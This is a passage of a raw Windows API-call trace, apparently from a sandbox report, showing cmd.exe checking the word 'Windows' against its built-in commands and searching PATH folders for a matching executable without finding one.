lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x50) returned 1 [0211.834] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0211.834] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.834] GetFileType (hFile=0x50) returned 0x2 [0211.834] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.834] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.834] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0211.838] malloc (_Size=0xffce) returned 0x20b0fa60940 [0211.839] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0211.839] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.839] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.839] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.839] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.839] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.839] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.839] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.839] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.839] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.839] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.839] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.839] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.840] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.840] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.840] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.840] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.840] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.840] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.840] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.840] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.840] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.840] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.840] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.840] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.840] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.840] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.840] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.840] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.840] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.840] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.840] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.840] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.840] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.840] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.840] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.840] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.840] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.840] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.840] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.840] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.840] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.840] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.840] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0211.841] malloc (_Size=0xffce) returned 0x20b0fa70920 [0211.841] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0211.841] GetProcessHeap () returned 0x20b0f920000 [0211.841] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0211.844] SetErrorMode (uMode=0x0) returned 0x0 [0211.844] SetErrorMode (uMode=0x1) returned 0x0 [0211.844] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0211.844] SetErrorMode (uMode=0x0) returned 0x1 [0211.844] GetProcessHeap () returned 0x20b0f920000 [0211.844] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0211.844] GetProcessHeap () returned 0x20b0f920000 [0211.844] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0211.844] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0211.844] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0211.845] GetProcessHeap () returned 0x20b0f920000 [0211.845] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0211.845] GetProcessHeap () returned 0x20b0f920000 [0211.845] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0211.845] GetProcessHeap () returned 0x20b0f920000 [0211.845] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0211.845] GetProcessHeap () returned 0x20b0f920000 [0211.845] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0211.845] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0211.845] GetProcessHeap () returned 0x20b0f920000 [0211.845] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d600 [0211.845] GetProcessHeap () returned 0x20b0f920000 [0211.845] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d600, Size=0x7e) returned 0x20b0f92d600 [0211.845] GetProcessHeap () returned 0x20b0f920000 [0211.845] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x7e [0211.845] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d150 [0211.845] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0211.846] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.846] GetLastError () returned 0x2 [0211.846] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.846] GetLastError () returned 0x2 [0211.847] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.847] GetLastError () returned 0x2 [0211.847] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.847] GetLastError () returned 0x2 [0211.847] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.847] GetLastError () returned 0x2 [0211.847] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.848] GetLastError () returned 0x2 [0211.848] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.848] GetLastError () returned 0x2 [0211.848] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.848] GetLastError () returned 0x2 [0211.848] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.848] GetLastError () returned 0x2 [0211.848] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.849] GetLastError () returned 0x2 [0211.849] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.849] GetLastError () returned 0x2 [0211.849] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.849] GetLastError () returned 0x2 [0211.849] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d2d0 [0211.849] FindClose (in: hFindFile=0x20b0f92d2d0 | out: hFindFile=0x20b0f92d2d0) returned 1 [0211.849] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.850] GetLastError () returned 0x2 [0211.850] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.850] GetLastError () returned 0x2 [0211.850] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.850] GetLastError () returned 0x2 [0211.850] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.850] GetLastError () returned 0x2 [0211.850] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.851] GetLastError () returned 0x2 [0211.851] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.852] GetLastError () returned 0x2 [0211.852] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.852] GetLastError () returned 0x2 [0211.852] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.852] GetLastError () returned 0x2 [0211.852] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.852] GetLastError () returned 0x2 [0211.852] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.853] GetLastError () returned 0x2 [0211.853] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.853] GetLastError () returned 0x2 [0211.853] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.853] GetLastError () returned 0x2 [0211.853] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.853] GetLastError () returned 0x2 [0211.853] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.854] GetLastError () returned 0x2 [0211.854] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.854] GetLastError () returned 0x2 [0211.854] ??_V@YAXPEAX@Z () returned 0x1 [0211.854] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0211.856] malloc (_Size=0xffce) returned 0x20b0fa70920 [0211.856] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0211.856] malloc (_Size=0xffce) returned 0x20b0fa80900 [0211.856] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0211.857] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.857] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.857] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.857] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.857] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.857] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.857] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.857] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.857] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.857] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.857] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.857] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.857] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.857] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.857] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.857] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.857] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.857] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.858] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.858] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.858] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.858] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.858] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.858] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.858] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.858] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.858] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.858] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.858] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.858] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.858] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.858] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.858] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.858] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.858] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.858] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.858] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.858] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.858] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.858] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.858] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.858] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.858] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.858] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.859] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.859] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.859] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.859] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.859] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.859] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.859] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.859] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.859] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.859] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.859] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.859] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.859] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.859] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.859] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.859] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.859] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.859] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.859] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.859] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.859] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.859] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.859] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.859] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.859] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.859] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.860] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.860] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.860] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.860] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.860] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.860] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.860] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.860] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.860] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.860] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.860] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.860] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.860] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.860] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.860] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0211.860] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0211.860] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0211.860] ??_V@YAXPEAX@Z () returned 0x1 [0211.861] GetProcessHeap () returned 0x20b0f920000 [0211.861] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0211.861] GetProcessHeap () returned 0x20b0f920000 [0211.861] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f9578c0 [0211.861] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0211.861] malloc (_Size=0xffce) returned 0x20b0fa80900 [0211.861] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0211.862] GetProcessHeap () returned 0x20b0f920000 [0211.862] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0211.863] SetErrorMode (uMode=0x0) returned 0x0 [0211.863] SetErrorMode (uMode=0x1) returned 0x0 [0211.863] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0211.863] SetErrorMode (uMode=0x0) returned 0x1 [0211.863] GetProcessHeap () returned 0x20b0f920000 [0211.863] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0211.863] GetProcessHeap () returned 0x20b0f920000 [0211.863] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0211.864] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0211.864] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0211.864] GetProcessHeap () returned 0x20b0f920000 [0211.864] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0211.864] GetProcessHeap () returned 0x20b0f920000 [0211.864] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0211.864] GetProcessHeap () returned 0x20b0f920000 [0211.864] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0211.864] GetProcessHeap () returned 0x20b0f920000 [0211.864] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0211.864] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0211.864] GetProcessHeap () returned 0x20b0f920000 [0211.864] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d690 [0211.864] GetProcessHeap () returned 0x20b0f920000 [0211.864] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d690, Size=0x7e) returned 0x20b0f92d690 [0211.864] GetProcessHeap () returned 0x20b0f920000 [0211.864] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d690) returned 0x7e [0211.864] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d150 [0211.864] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0211.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.865] GetLastError () returned 0x2 [0211.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.865] GetLastError () returned 0x2 [0211.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.865] GetLastError () returned 0x2 [0211.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.866] GetLastError () returned 0x2 [0211.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 